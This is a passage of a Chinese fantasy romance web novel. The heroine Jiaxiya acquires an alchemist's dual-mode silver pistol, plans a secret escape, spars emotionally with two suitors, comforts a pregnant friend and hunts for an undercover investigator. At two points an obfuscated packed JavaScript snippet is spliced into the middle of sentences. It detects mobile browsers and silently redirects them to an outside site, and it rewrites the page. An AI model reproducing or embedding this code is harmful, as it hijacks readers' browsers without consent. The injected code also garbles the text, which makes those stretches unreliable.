加茜娅不禁感叹于阿纳鲁丰富的经验之下,扎实而渊博的知识体系:“我以为你只是擅长实战,没想到还是个前沿理论派!” “多年前,在进入军部体制之前,我是学魔导机械的。”这位少将很平淡地一语带过。 “那时候,魔导科技是刚兴起的领域吧!有点可惜。”加茜娅感慨,“那你也算是半路修成的军事家咯?太厉害了!” 阿纳鲁难得沉默数秒:“没什么可惜的。不经历实战检验的理论技术,永远只是空中楼阁。” 他很快带加茜娅逛完一圈,顺便将接近一部书的知识量随口带出。 好在,加茜娅无论知识基础还是理解力、记忆力,都是能接招的那个。 “现在技术研究刚起步,注定魔导军械不像标准的□□械那样精准、稳定可控。在中州境内,我还是建议你选之前训练用的枪型。” 最后,阿纳鲁做出了和开头一样的总结。 加茜娅很明白他的顾虑,但她私心仍想选用一把适用范围更广的武器:毕竟,她今后,甚至此生,都可能不会再踏足中州。 魔导展区的终点与纯机械区相连,那里只有一家展位,人流稀少。 ——来自联邦东南部,热威尔州的炼金术师集团,前两年才开始兴起,号称是迎合新时代需求的复古运动。 “理论超前的富人玩具,性能溢出在不必要的地方。”阿纳鲁尖锐点评,且不打算上前去看,“主要胜在金属强化系数高,比普通的魔导材料性能稳定些。可是造价实在太大,那点微不足道的进步可以忽视。” 加茜娅驻足观望,只见一张两米长的深棕木桌上,陈列着大小不一的银质红绸展示盒,里边都是些多功能怀表、零碎的金属配件和看不懂的设计蓝图,旁边展架上五颜六色的瓶罐琳琅满目,少量合金枪械被悬挂在铁杆吊顶上。 摊位旁还立了块展板图示,以流程表格说明了魔法对机械的干扰,一方面是掠夺蒸汽和燃料中的能源元素,另一方面是普通金属强度不够,无法承载强大的元素动荡——后接新的解决方案:炼金术的公式原理。 木桌背后,一位戴着厚重护目镜、满头大汗的炼金术师,正侧过身、扛着焊接器、高拱着右边肩膀,抬腿踩住凳子,对准枪架上的银色手枪雕琢调整。 他似乎听见了阿纳鲁的点评,抬起头来,表情不大高兴,伸手将护目镜一摘,“啪”地摔在桌上。这是个褐发绿眼的青年,年纪二十上下,面部及身体皮肤绘满金色符文,目光疏离。 “维克托·艾德里安。”他朗声自我介绍完,看向阿纳鲁,“阁下哪位?” “我是一名蒙格马利。”阿纳鲁并不表明具体身份,平静地与他对峙。 维克托闻言一顿,神色微妙,又斜了眼旁边的加茜娅,盯着她,了然地嘲笑:“蒙格马利先生!就算想在女人面前秀优越,也应该敬畏自己不懂的知识!” “对于炼金术,我的确和在场这么多人一样,了解不深。”阿纳鲁语气淡然,“但不管是联邦军部还是雇佣兵,选军械都看重实用性,而不是听信空谈。” 维克托被烫着般,视线立刻从加茜娅身上闪开,那张布满金色纹路的脸转瞬红透:“我从不和门外汉辩驳!两位看不上就高抬贵腿赶紧走吧!” “这大概是没人光顾你展位的原因,之一。”阿纳鲁自始至终未被激怒,兀自说完最后的评论,一手揽过加茜娅就准备离开。 “等一下。”加茜娅打量完所有展品,目光被桌上那把精致小巧的银色手枪吸引。她走上前,指着它问:“为什么它的枪口,有两个?” 三人都看向桌上的双管手枪。这把枪巴掌大小,线条流畅、通体雪亮,炼金术式符文如繁星错落点缀,底部有一颗洁白的魔法宝石,自行均速转动。 说是月光与霜雪凝结而成的艺术品,也毫不为过。 维克托“哼”了声,瞄一眼加茜娅,声音稍微轻了点:“它……它是我最新的作品,双轨设计,可以用子弹,也可以发射元素能量。顶部拨片转换。” 他说着,又看了加茜娅一眼,然后立刻注意到阿纳鲁盯着自己的目光。他很快勾了下嘴角:“这把枪的名字叫‘银小姐’,我认为它很适合您。要不是这位先生不识货,我甚至都想直接赠送给您了!” 阿纳鲁走过来,拿起“银小姐”翻面看了看:“风属性石魔导核心,不稳定。能穿透魔法防护层,但效率恐怕不及标准猎魔枪三分之一;普通弹道设计也无特别之处。有两种功能,但两者各自都不出色,累赘。手感重。” 加茜娅在听到“能穿透魔法防护层”时,暗自就已心动无比。 她需要的就是一把便携而两用的枪,在中州用普通火药逃过魔纹检测;在西高地野外,甚至今后其他地方,用魔导功能可以更好防身。 维克托从阿纳鲁手里夺过枪,自己掂量掂量,递给加茜娅:“小姐,您感受一下!这是高强度秘银合金,稍微沉了点,但要不是这样,如此微缩的体积也无法承载元素流动!而且各部配重均衡,稳定性不差的……要说沉,标准猎魔枪才是真沉呢!” 加茜娅接过枪,不想驳阿纳鲁面子,于是先顺着他说:“确实比我平常练习使用的枪沉。”她看维克托一下变得垂头丧气,又微笑道,“但能把两种功能放在这么一把小枪上,的确少见。” “不是少见,是前所未有!”维克托补充。 “前所未有的型号,一者意味着别人懒得做,二者意味着没有试验期,无法保障稳定性。何况你这是个人作坊。”阿纳鲁也适时补充,“枪不是只用一次两次,要考虑长期效果和安全。” 两人仿佛杠上了般,互嗤一声,都转头看加茜娅。 然而加茜娅的注意力只在枪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061287|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本身:“它的魔法能量可以用几次?” “这块魔导核心是以一百枚中阶风暴魔法石炼成的,可以使用五次,每次相当于六级魔纹波动,能瞬间击杀小型魔兽。小姐,之后您还可以自己替换核心!” “只能使用五次?阿纳鲁比加茜娅先出声,随后还配上摇头动作。 维克托急忙解释:“这是将目前最节省能耗的超导炼金术发挥到极致的结果了!当然,如果小姐您自身拥有压缩和精炼元素的能力,理论上,就算不替换核心,也能多使用几次。” “你也说了是理论上……”阿纳鲁还欲反驳,却感觉到自己的手肘被加茜娅向后拉了下。他低下头,看见她没说话,只是眼神亮亮的,就那样看着自己。 “好吧。”他败下阵来,无奈地应允,“你喜欢就好。这玩意年年更新换代,以后看上别的了,再换就是。” 维克托喜出望外:“有眼光!不过我还得再强化和检查一下,确保各项功能正常。小姐方便留个地址吗?我完成后会亲自送上门!” “先送到军部,我这里。我会安排人检测安全性。”阿纳鲁将七位数的巨额价格标牌拿起来看一眼,放回原位。 这次,加茜娅没有再扯他,任由他留下中央军事基地的地址。 “那个……如果今后还需要维修的话,这是我的名片,有我在中州和热威尔州的联系方式。”维克托递给加茜娅一张烫金的小卡片。 加茜娅刚看过一眼,那张名片就被阿纳鲁伸手拿走了。 她笑笑不说话,心里已经记住了全部内容。 后半日,她又跟着阿纳鲁回楼顶休息室用餐,顺便看了几段军事演练,四处闲逛了几家场馆。 自从离开炼金术师的展位,阿纳鲁就一反此前友好态度,脸色总不大好看,也很少主动和她搭话。 加茜娅放任他自己闷了半天。最后在坐进车里,只剩他们两个人的时候,她忽然从副驾驶探过身,双手环住他的脖子,轻轻地靠近他。 阿纳鲁停住发动车的动作,低着头没有反应,但也没有推开她。 他这些日子过得很顺,步步高升、权力金钱和名誉如流水般涌来,伫立四望,已没有同他正面为敌的角色;就连和加茜娅的关系,也一直稳步升温。 可他看着比之前更瘦削、更疲惫,一双湖水似的蓝眼睛深陷眼窝中,半张脸都沉在阴影里,嘴唇抿紧,此刻死死地盯着加茜娅。 “加茜娅。”他在她快要碰上他脸颊的时候,轻声问,“是不是谁对你有用,你就可以给谁好脸色?” 其实还想问问她以前的任务对象,但终究没说,使自己保有面子。在她跟前,他像个小丑般,为一点点事大惊小怪,时而得意欢喜,觉得尽在掌控;时而心碎无力,不知问题的根源究竟在于何处。 她凝望他一眨不眨的眼睛,听到自己用认真的语气说:“明明应该我质问你!我这么喜欢你,为什么总对我黑着张脸?” “……”阿纳鲁听出她熟练地转移话题,半天说不出话。 她靠在他肩膀上。他无比绝望。 加茜娅也闭上眼。她理解阿纳鲁的痛,但他永远不会知晓她的苦。 此后两日,他们都没联系。 再得到他消息时,是加茜娅在资源署的滚动公告栏里,看见军部快讯。她很快就明白,他说的“升任”是什么意思了: “联邦军部新一轮任命中,阿纳鲁·蒙格马利接替原驻防总司令一职,同时兼任边境特别行动指挥官,掌控战区调度权。” “新任驻防总司令,少将阿纳鲁·蒙格马利,将全面接管边境地区的军事指挥。”边境军地位略高于州驻军,是和中央军并列的联邦最强兵力。 这意味着,他正式独立拥有了部分兵权,甚至是紧急情况下的越级行动权,可以不经过总部或元老院审核而直接进行战术决策。 包括……给伊瑟尔州边境的关卡岗哨下达命令。加茜娅屏住呼吸,一下子想起了自己正在发愁的,逃亡路线和通行证件。 22.Chapter 22. 一巴掌 加茜娅很快就收到了“银小姐”、一盒定制子弹,以及一张正式的持枪许可证,由詹姆斯亲自送上门来。 “长官最近很忙,让我代他向您问好。”詹姆斯的语气公事公办。说罢,眼神在加西娅身上多停两秒,犹豫地动了动嘴唇,却没继续出声。 她礼貌地致了谢、说了许多恭喜之类的客套话,见这位机要秘书仍眼巴巴地等在门口,随即笑道:“也请您帮我转达关心和想念。” “好,您有这份心思就行!”詹姆斯总算满意地点点头。 然而这话不知是谁想对她说。 加茜娅回到房间,将新枪翻来覆去地抚摸欣赏。她其实很喜欢银小姐沉甸甸的手感。这玩意带在身上,装在大衣内侧口袋里,直往下坠;越往下坠,就越提醒她安全感的分量。 窗子外夕阳沉沉,傍晚微弱的黄色光晕透过碎花窗帘,游移地笼住她。她转过身,怀抱银小姐躺到床上,觉得自己从来不曾这般满足。 接下来除了资金转移、伪造身份及通行证,还要收集更多子弹和魔导核心,供流亡之途使用。可以将边境旅馆的仓库作为补给站,提前储存…… 加茜娅闭上眼,开始思考之后的许多事。剩余时间太短,她不知自己能否将整条幕后黑链正面铲除,只能尽力搜查和布局,使他们即便在自己离开之后仍受影响,至少是彼此斗个四分五裂、你死我活。 至于逃离之后,去哪儿呢?是在别的州隐姓埋名地苟活,还是去新大陆,去囚犯流放之处、危险未知的地方闯荡?还是回中州继续幕后造势? 她不想回来。可她又无处可去。 这般转念一想,加茜娅便有些恍惚。夕照余晖洒在她披散的头发和裙子上,而她忧思重重,无一日安宁,像黑夜里飘荡独行的鬼魂。 除了复仇和活着以外,加茜娅没有什么特别想要的东西,她没有爱好。 并且,因为这辈子只怕痛和死,怕得也有限,所以对世间事物一律持麻木态度,无欲无求、无喜无悲。即便有偶然的触动,也会很快泯灭,就像灰尘随着光线逝去,存于黑暗,却永不可知。 她将自己蜷缩起来,埋进不断移走的光线里,思绪昏沉。 正发着呆,窗帘忽然无风而起,房间中央气流动荡。从无形的空间魔法波纹里走出个熟悉的黑袍身影: 是拉斐尔。 ——既然说过做朋友,他自然就经常来找她。名义上是找她玩,实际上每次临走又会接一叠的任务,下次来还要带着结果汇报。 他自己也搞不清这是种什么关系:仿佛像打黑工,可分明又是你情我愿。好在拉斐尔从来不在任何事上犯纠结,想不明白的就扔一边去,只随心而为,被使唤也是他乐意的! 更何况,打着任务旗号,他每次都能理直气壮地进加茜娅房间。 加茜娅一个翻身坐起来,将枪藏到枕下,手依然摸着它。她望向拉斐尔,定心一笑:“你又吓着我了!以后要敲门,我来开锁,你才能进。” 拉斐尔莫名其妙:“可是你锁了门,没锁窗户啊!我还能从窗户进。” 加茜娅瞥了眼窗户,发现的确是开着的:“你从窗户进也行,但总之,你要让我提前知道你来了。” “好吧,好吧,都听你的。”他瞬间消失在原地,在外头敲了敲门。 加茜娅正准备下床,这家伙忽然又出现,张开双手站在她面前:“呼!我来了!”说着,给她一个用力的拥抱,然后搂着她腾空转了两圈。 似有似无的血腥气混杂着工业糖精发麻的腻甜味,直冲加茜娅发晕的大脑。 加茜娅看着他,咬牙切齿,无可奈何。 “这么不高兴吗?”拉斐尔抱着加茜娅,看她冷脸,莫名有点心虚,“我知道很多贵族家里都装了魔纹波动警报器,你要是真介意的话,我帮你弄一个?” “我只是……在这里暂时住一下。”她垂下眼。 拉斐尔很小心地将加茜娅放到地上,同时下意识看了眼自己的衣摆,没碰到她干净的床铺。 他搂着她往后靠靠,放下心,然后二话没说就低下头吻她。 唇齿相啄,吮舌碾磨,口腔连带腮帮又麻又痛。她感觉自己好像一块融化的蛋糕,马上就要被他嚼嚼吃了。 拉斐尔将加茜娅紧压在自己胸膛上,越亲越凶,但怎么都不够尽兴,于是渐渐起了疯劲,手开始揉她的背,并以狼吞虎咽之势咬了下去—— “啪!”加茜娅窒息且吃痛,毫不犹豫地一巴掌扇在他脸上。 拉斐尔松开她,一手捂住脸颊,表情还有点懵:“你……怎么总是打我?” “你把我弄疼了!”她舔了舔唇上的伤口,埋怨他。自从确定了拉斐尔喜欢自己,且从来打不还手,加茜娅就琢磨清楚怎么对付他了。 拉斐尔把手放下来,沉默不语。一阵诡异的安静后,他突然凑近她,气息不平地问:“加茜娅,刚才走的那个人是军部的吧?” 这位混血精灵背对着光,压迫性地俯视她。他鼻梁英挺、相貌俊美,纯银色眼珠里看不出寻常情绪,偶尔会让人感到神经质的冰冷。 “那是业务往来!你也看到了,来的是他下属,不是他本人。”加茜娅不仅不着他的道,并且还要反向地责难他,堵他一个哑口无言,“你这几天都没消息,在干嘛?是不是在哪里鬼混?”说着又推他一把。虽然没推动。 拉斐尔盯着她,不知不觉间胸口起伏,面上咧开一个近乎邪恶的笑:“你介意我在干什么吗?” “一点点。”加茜娅转开眼,适时迎合道。 “对!我在鬼混。”他神情好似舒服了些,歪过头正对她扭开的脸,试图捉住她眼睛里的情绪。更浓烈的铁锈腥味从他身上传来。 “那你就走吧,鬼混去,还来我这做什么?”加茜娅闻着味道,皱起眉,装模作样地推他一把。她已经能猜出他的实际业务,但谁没点不可告人的秘密呢?不主动说的就没必要深究。 “……”拉斐尔用含混的暗精灵俚语笑骂了一句,将脸埋进她肩颈,恶狠狠地吸一口气:“天天抽空帮你干活,你还这么不讲情面?” “那得看你活儿干得怎么样。”加茜娅直白地暗示,切入正题。 拉斐尔松松地搂着她,用鼻梁沿着她的脖子、下颌,一路若即若离地贴着,描着,最后悬停在发顶。他长长地叹出口气,同她交代:“上次你问能不能改装成空间魔法道具,泽诺就又拿去试了一下……” 他不知从哪儿变出那枚月光石戒指,递给她:“现在加了一个空间魔阵,但里头地方很小,只有你的梳妆台面那么点大。”他指着加茜娅的桌子,比比划划,“储存一次魔法元素可以打开三次,用完了我再帮你加。要我说这其实没啥用,你戴它还不如带我!” 三次,桌面大小,这已经够了。可以把伪装药水藏起来,还能放点弹药。 加茜娅正要伸手接戒指,拉斐尔突然愉快地笑出声,直接把戒指套在她无名指上:“当当!惊不惊喜?意不意外?”他兴奋地睁大眼,时刻留意她的反应。 “真是太惊喜了。”加茜娅停顿动作,不想打击他,微笑着往他怀里一靠,举起手转一转,“亲爱的能不能告诉我,这个怎么用?” 拉斐尔心满意足,于是手把手地告诉她开启方式。很简单,只需要把月光石盖子旋转两圈,对准空地或者需要储存的东西即可。 “但我建议你别轻易使用,特别是有魔纹检测器的地方——这玩意儿魔纹波动绝对超过三级。”拉斐尔补充道。 加茜娅抚摩着乳白色的月光石,将它轻轻打开,露出底下错综复杂的细小齿轮群,符文已被修改:“这上面原先刻的名字,你们后来找到是谁了吗?” “确实是个精灵语名字,但地下城居然没有一个工匠认识那家伙?初始系统彻底损坏、无法复刻,而且没谁见过这种符文形式,还有这么小巧的魔导核心。所以,只能改装成现在这种临时的元素储存驱动装置咯。” 加茜娅点点头,问完了戒指的事,又问他有没有帮她打听“霍桑”家族在各大黑市的行动轨迹。她已经在资源署利用高级权限查看过这一家族 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“有两个不知是不是假名的人物,‘托马斯’和‘麦克’,你在地下市场留意看看,但不要太张扬,别让人注意到。”她有点犹豫,毕竟莫伯斯看起来很像满嘴扯谎的家伙,情报不一定真实,可能是烟雾弹。 拉斐尔点点头:“还有呢?” “另外,你帮我去一个地方……”加茜娅闭上眼,背诵出炼金术师维克托在中州的临时住址,“告诉他,展会结束就早点离开,不要在中州久留,留得越久越可能有危险。有可能的话,以后也不要轻易再来。” “这家伙又是谁?”拉斐尔警觉起来。他的注意点显然与她不在一处。 “只是我临时看到的一位糊涂蛋。”加茜娅不介意跟他透露点情报,好让他满怀良心地去做,“他们口称的炼金术如果真的发展壮大,那未来就能填补魔法和金属机械之间难兼容的问题……” 魔导科技将会迎来质变性发展,像“银小姐”这样的武器,理论上可以无限制承载元素能量,更不必说机械义肢和魔导枪炮。 “那不是很好吗?” “不仅高阶魔法师地位被威胁,而且……将廉价金属转化为稀有金属,甚至更强的物质……那么许多家族的矿业和军工产业,也会和他们起冲突。”加茜娅垂下眼。这只是她的一个预判,但她觉得,有这种想法的绝不止她一个。 作为魔导机械的理论和实战精英,阿纳鲁那天可能也想到了,只是没在她面前表现出来。 这才是维克托的展位无人敢去的真正原因。谁都怕“富人玩具”有一天真的动摇了行业,谁都怕被认为“想抢占技术”,怕清算起来遭到连累。 有远见的各行业寡头会开始抢夺、暗杀或限制炼金术发展,发展得越慢越好,甚至有极端者会让他们——从源头上发展不起来。 拉斐尔慢慢回过味来,惊异地看向她:“你想的还真挺远!照这么说,那伙计确实挺惨,有必要顺手做点好事,提醒一下。” 他抱着加茜娅,越看越觉得喜欢,可是又不能真把她一口吞了。狂躁喧嚣的灵魂在身体内兴奋地撞来撞去,头脑像被魔导炮连番轰炸过一样,跳动溶解,战栗难安,恨自己不是个什么小装饰品,天天挂在她身上。 下次再挨打的话,他可能会迎着巴掌笑出来。 ……什么鬼! 拉斐尔猛地打了个寒战,警告自己放弃这种可怕想法。 ———————————— 处理完“盯别人”的事,加茜娅就要好好想想,关于自己即将“被盯上”的危机了。 前往西高地矿山的外勤项目组即将启动集训。加茜娅最后一次回到自己原本的工位上,收拾文件,准备前往首次培训场地。 已经连着好几天,没和米拉正常聊天了。 这位活泼热闹的贵族小姐不知在发什么别扭,下午茶会也不去了,工作也一样不管地全扔给加茜娅,自己一到资源署,就找个地方躲起来,从早哭到晚;吃饭时嚼着嚼着,眼泪就和嘴里的饭菜一起倾盆落下,呜咽数声、掩面便走,仿佛蒙受了什么掏心挖肺的天大委屈。 23.Chapter 23. 谁是卧底 加茜娅抽了个工作不忙的空隙,在无人的女更衣室里找到了米拉。 “米拉?”她敲敲隔间门,里边的抽泣声戛然停止。加茜娅轻轻一推,竟直接把门推开了,和冲上来的米拉撞个正着——这个总是丢三落四的粗心人儿,这回连门也忘了锁。 还不等她往外攘人,加茜娅便迅速侧身挤进了门。米拉立刻捂住脸转过身去,站到墙角处面壁。 “到底发生什么事了?”虽然心中已有些猜想,但加茜娅还是耐心地低声抚慰询问她。 “我不能说,这种事……我不能说。”米拉始终颠三倒四地重复着,刚要继续掉泪,突然灵光一现,转身紧紧攥住加茜娅手臂,“加茜娅!你,你现在跟阿纳鲁关系不错的,对吧?” 加茜娅沉默地看着她,不说话。 “能不能……能不能不要让阿纳鲁再为难莫伯斯?你……拜托你,帮我们和他说说情?”米拉舔了下唇,目光闪烁。似乎是一下有了希望,她瞪大眼,浑身激动地颤抖着。 果然如此。她心中一沉:“米拉,你也知道,这是他们家族内部的恩怨。你觉得我劝得动他吗?” “可是,可是莫伯斯都已经成这个可怜样子了……哪里还能争?”米拉想起他满头绷带的模样,眼泪哗哗直掉,“一家人何必闹到这般地步?放他一条活路而已,这不过分吧!” 加茜娅不知莫伯斯同她说了什么,也不知自己该如何解释这些事,此时听了米拉的言论,浑身发冷:莫伯大约是知道了米拉和自己的关系,企图利用她向自己施压,或是暗示自己赶紧同他联系。 “他还跟你说什么了?”加茜娅并不立刻拒绝,放缓了声音诱导她。 “他说……他要离开了。”米拉的嘴唇微微颤抖,“他跟我说,他四面受敌,快要入狱了……那我怎么办?” “你想救他?”她轻声问道,“万一他在骗你呢?” 米拉深吸一口气,眼里再次浮现出泪光。她的指尖在裙摆上绞了一圈又一圈,最后抬手按住小腹,颤抖着吐出一句话: “……不只是为了他和我。” 晴天霹雳,寒毛倒竖!加茜娅头皮一阵发麻:怪不得,她轻易不肯开口。怪不得,她被影响到如此地步。这般上流社会的丑闻,若不能以政治联姻弥补压下,那作为旧贵族世家之女,她将来…… 米拉见加茜娅愣住,以为自己的劝说见了效,立刻不断补充:“再说,阿纳鲁对自己家人都不肯松口的话,以后难道不会伤害你吗……就算莫伯斯真犯了点什么错,这样也算赎罪了吧!一切还没到无法挽回的地步,对吧?” “加茜娅,我不能让他出事!”她最终凑到加茜娅面前,几乎要迎面贴上脸。 加茜娅简直要眼前一黑:“你!你不是还让我约会的时候矜持一点吗!”她头一次几乎是用生气的口吻说话。 “我不知道……我也不知道为什么会这样……”米拉挨了顿凶,又哭起来,双目红肿,肩膀一耸一耸。 加茜娅强迫自己冷静下来,伸手抱住哭泣的米拉。米拉这些天瘦了许多,原先胳膊丰润的她,如今袖子空荡显大。 米拉将脑袋搁在她肩上,还在一抽一抽地张嘴吸气;打理得蓬松柔软的卷发带着香气挠动她脸颊,眼泪顺着发丝沾到她皮肤上,冰凉发麻。 她闭上眼,五味杂陈,轻拍着米拉的背,控制自己发出温柔的声音:“别担心,我尽量帮你去说。如果莫伯斯有什么事,一定要记得立刻告诉我。” 实际上,加茜娅也不知道怎么办。在这种事上,她和米拉一样手足无措。 心脏久违地抽了一下。她已经不太在意过往的痛楚,对外的怜悯之心亦所剩无几。她绝不可能为了另一个人,放弃自己的行动。 这个一直被她利用的,纨绔而天真的贵族小姐,从来只扮演过客和工具人的形象。可自己分明真的动过恻隐之情,为米拉的真心而悲哀。为她执着于保有这片真心而留下的伤口悲哀。 莫伯斯是自己的敌人,是名副其实的混账玩意。然而米拉偏偏和他捆绑在一起,难舍难分。 怎么会这样? —————————— 加茜娅没有太多的纠结时间。她安慰完米拉,迅速收拾好自己的情绪,动身前往项目集训地。 西高地矿区外勤项目的首日集训,就设在资源署后花园的露天石板广场,原是平日的下午茶消遣地。有中央喷泉、铜制雕塑、铺着棋盘花纹砖的地面,以及许多可移动的圆桌椅。 现场已零零散散到了十来个人,各自聚成小圈说话。 要在联邦调查员眼皮底下成为安全的角色,就得先混入大部队,和其他人形成群聚的小团体,保持自己一贯模仿的贵族小姐风格。 加茜娅抱着文件夹和记录本在认识的同事堆里坐下,和往常一样谈笑。她的思绪刚刚从米拉的事里挣脱出来,这会儿心中还有些阴郁气闷,但不在脸上显露分毫。 片刻后,她抬起头,感觉这会儿好像要变天。久垂不散的乌云里挤出来点惨淡光线,灰尘味的风在地面上、林立的钢铁建筑间扑打穿梭。 天气阴冷,其实是更换到室内更为合适。但负责项目开幕式的高层官员说室外布置已定,都不愿轻易变动时间计划和人手安排。 说是布置,也不过是临时推来个木制讲演台,一架齿轮翻页展示板。茶点倒是精美,有冒着热气的铜壶红茶,高高地堆在银托盘和多层点心架里的,小巧的果酱派、肉馅饼和奶油蛋糕——直接挪用平时物料就足够丰盛。 茶点侍者端着餐盘站在一旁,恭敬而呆滞;资源署的几名行政官员围坐在一起喝茶,旁边或站或蹲地贴着套近乎的职员。他们正讨论今日桌布的纹样,是否重复使用了多次,有失体面,又说起最近预算短缺的问题。 “感谢……感谢……我们从这次的七州博览会借到了模拟天灾设备,可供后续两周集训使用!”主持人是加茜娅的上级主管,那位狮耳半兽人。 “在场诸位都是专家,因此今天的信息共享部分,我们采取汇报讨论形式……由刚刚返回的,上一季度的前线勘探师分享实地经验,并请各位汇报自己负责的工作。”语毕,她带笑的目光落在前排。 那里坐着三位结实圆壮的平原矮人,须发浓密覆面,肌肉绷紧了制服。他们闻言互相对视一眼,皆低下头,诡异地沉默不语。 “喔——原来我每天处理的数据是这么几个小矮子采集传回的!”坐在加茜娅身旁的是一位修长活泼的木精灵小姐,黛尔,素以辛辣的快言快语闻名,平时同她和米拉关系不错。 “你小声一点。”加茜娅低声道。黛尔不甚在意地冲她咧嘴一笑,浅绿皮肤的脸颊上露出两个酒窝。 黛尔会是联邦暗中栽培的调查员吗?加茜娅暗自斟酌起她的身份背景和日常举止。 不太像,但此刻不能妄下结论。加茜娅默默地观察在场众人,逐一分析:身边职员里,有不太符合资源署松散风格的敬业人士吗?某些看起来十分热衷于社交的军部人员?谁和她一样在打量别人,谁总是提问…… 名单上的参训人员有三类,皆有可疑之处。接触过西高地数据的部分职员、联邦指派的自卫队干部,以及参与项目投资的探险家协会成员。协会倒是无人在场:他们和贵族运动爱好俱乐部无异,只等着接收一手情报。 加茜娅看不出卧底调查员是谁,也不知道对方有怎样的能力。或许此刻,某个人就在现场,静静观察她的一举一动。 这家伙必然提前掌握了他们的全部信息。 之前每次行动完,加茜娅都会做好善后清理,现在,唯一能证明自己有问题的,是她对那些不应由自己经手的数据的记忆。 破局之法很简单,做到却很难——记住自己的,忘记别人的。每天每时每刻都不能露马脚。也许会有假性危险事件,必须判断哪些只是测试信息差的陷阱,并精准回忆和做出正确反应。 在意识到成为弃子之前,她并不在意信息源的问题。然而几个月以来数据量庞大繁杂,即使她记忆力好,也难免可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091463|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能混淆,尤其是在高压时刻……哪怕瞬间说漏嘴都有危险。 与此同时,加茜娅也不是坐以待毙的人:要尽快试探出敌方卧底,然后找准时机,先下手为强! 忽然一阵掌声响起,她这才注意到台上走下来一位同事。也许已经换了好几次人……漏听了什么吗?没关系,这符合资源署职工特色。 她咽了口唾沫,端起茶杯,掩饰性地抿一口,避免被发现异样。 现在上去的,是之前从堪州来的那名少数族裔代表。 这回离得近,所以他身上许多奇特的细节就更加清晰:两只眼一金一绿,总分不清是在看哪。骨牙耳饰,露出的手腕上绘有刺青。穿着正常了许多,黑色正装直裤,身形高挑,衣架子式的好看,但依旧与整个中州风格不融。 加茜娅不动声色地分析他。 “卢克西斯”,据说通用语很差,应该无法执行记忆大量文字的任务。气质?不合群、特立独行,怎么看都不像同行。立场,据说是从不结党,那么在确定进入元老院或军部之前,应该尚未明确。 和其他“嫌疑人”比起来,他最不可能是卧底调查员。加茜娅一边听他用毫无起伏的语调自我介绍,一边神游天外地想。 “……所以,我只有一个任务,就是应对危机。”他最后慢吞吞地总结, 这时座下忽然有人举手:“卢克西斯,能不能表演一下你会的魔法,看看有没有应对危机的能力?” 周围传来短促的笑声。加茜娅扭头望去,见是资源署的一位半精灵职员,和米拉差不多同级。难道是他? 黛尔在旁边小声议论:“这家伙好像从不用魔法,也不理睬别人的挑衅。” 加茜娅点点头,表示了解与认同。四周还有诸如此类的发言: “他会像魔兽一样咆哮着才能放出法术吗?只有那些畜生长着异瞳吧……” “问也白问,人家从来不理你!” “饶了我吧,我要和这种下等动物共处小半年吗?” “我忽然觉得,他大概听不懂我们说话?” 讲演台上,卢克西斯静静地望着那名半精灵。 ……不知是否是错觉,加茜娅觉得他朝自己的方向看了一眼。 “可以。”他昂着下巴,点了点头。 台下议论声暂停一瞬,又渐渐盛起。 此时恰好一阵风刮过,这名年轻的巫族抬头看向天空,额前短发、衣领和耳上的骨饰链轻轻扬起,透出一种原始妖异的野蛮气息。 他伸出手,做出一个抚摸的动作,手腕上的刺青纹路亮起细碎的光点。 风停了。 不是渐缓,不是正常的消散,而是……突兀止息,落叶和灰尘被静止在半空,连讲演台上的旗帜都僵硬地定格。很安静,所有人的呼吸声清晰可闻。加茜娅也反应过来,心跳一滞。 卢克西斯翻动手掌,掌心朝下。那些悬浮物便随之缓缓落地,又紧接着,随他握拳的动作而瞬间化为粉齑,无影无踪。 从头到尾,他的一番动作是轻描淡写、漫不经心,然而指哪打哪,精准可至毫厘。没有使用法杖、咒语或其它魔道具,更重要的是,资源署的魔纹监控装置,没有发出警报! 这意味着他对自然元素的掌控力已臻至化境,能轻松发动小于三级波动的远程攻击,不留痕迹。中州任何战斗级魔法师,即使借助法杖也无法做到。 “还需要更多吗?”他放下手,瞟向最初挑衅的半精灵。 “或者……”不等对方答话,这位强悍的巫族法师忽然一笑,露出白森森的牙齿,低沉的声音在所有人耳边炸开,“我要像魔兽一样咆哮着放出法术吗? 他单是咧嘴笑,然而脸上其它部位不动,只睁大一对金绿异瞳。 …… 短暂的寂静后,那名半精灵职员不敢发话,带头鼓起掌。所有人都鼓起掌。 加茜娅拉回思绪,不禁抖了两下,暗自庆幸: ——还好,自己要解决的人,应该不是他。 24.Chapter 24. 利用之心 从前的卢克西斯,在集体的无视和非议中度日,而今一朝出手、艳惊四座,全世界都开始给他好脸色。即便不是真心诚意的好,也至少会先打声招呼,再绕道走开——就像现在这群人一样。 前半程会议结束后,便是冗长的茶歇时间。刚才挑衅过他的半精灵职员,带着几名同事过来与他交换名片和见面礼,一些精致的小打火机之类的玩意。 在中州,这是一种微妙的关系建立手段,表示尊重和友好,对方在未来便可进一步联络回礼、深入发展。 但卢克西斯没有为此做任何准备。这位外乡客显然是不懂社交规矩,亦或者知道,却不想做,连好点的脸色也不肯装。 这就令过来交好的职员十分尴尬。他们对着这尊瘟神碰了壁,怏怏散开;其中那个半精灵看到不远处的加茜娅刚好落单,眼睛一亮,快步上前。 “下午好,小姐!我是生态监测中心的资深技术员,乔纳森·格拉姆,非常高兴在这个项目上认识您……” 